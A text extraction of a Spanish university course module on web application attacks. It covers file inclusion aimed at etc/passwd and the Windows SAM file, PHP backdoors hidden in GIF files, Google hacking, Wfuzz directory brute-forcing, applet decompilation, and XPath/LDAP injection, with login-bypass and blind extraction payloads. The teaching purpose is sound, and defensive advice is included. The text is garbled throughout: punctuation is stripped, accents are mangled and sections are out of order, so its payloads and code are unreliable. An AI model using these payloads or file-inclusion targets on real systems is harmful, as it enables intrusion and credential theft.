httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 47: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

